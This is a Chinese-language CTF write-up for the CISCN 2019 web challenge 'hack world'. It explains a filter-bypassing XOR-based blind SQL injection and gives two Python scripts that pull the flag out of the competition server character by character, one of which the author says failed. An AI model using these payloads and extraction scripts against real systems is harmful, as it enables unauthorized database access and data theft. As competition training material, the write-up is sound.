Ciscn2019 华北赛区 day2 web1 - hack world

2 minute read

Ciscn2019 华北赛区 day2 web1 - hack world

0x00 题目描述

很明显这是一道sql注入的题目,已经给出了flag所在的列名和表名,且提供一个id查询的功能。当提交1和2的时候,查询出了两句骚话

Hello, glzjin wants a girlfriend.

Do you want to be my girlfriend?

0x01 Capture The Flag

尝试输入一些常规的sql注入语句,结果都被过滤了,尝试异或注入,输入1^1^1,返回了id=1的结果

SQL中的^是异或判断,当^两边相同的时候,其值为0,当^两边不相同时,其值为1

1^1=0  1^2=1

所以我们可以通过输入1^(ascii(substr((select(flag)from(flag)),1,1))>x)^1,不断改变x的值,根据回显逐渐爆破出flag的值。因为本萌新还不会写脚本,所以用了一下赵师傅的脚本

import requests

url = "http://web43.buuoj.cn/index.php"

result = ''
for i in range(1, 38):
    for j in range(0, 256):
        payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
        print(payload)
        r = requests.post(url, data = {'id': payload})

        if r.text.find('girl') == -1:
            result += chr(j)
            print(j)
            break

print(result)

跑了一下不知道哪里错了,但是还是很有学习价值。在网上找了另一个大佬的脚本,用二分法成功跑出了flag

import requests
import time

url = "http://d5d88314-27e4-43cf-a7b4-802508698555.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
		html = requests.post(url,data=payload)
		print(payload)
		if "Hello" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

Tags: , ,

Categories:

Updated: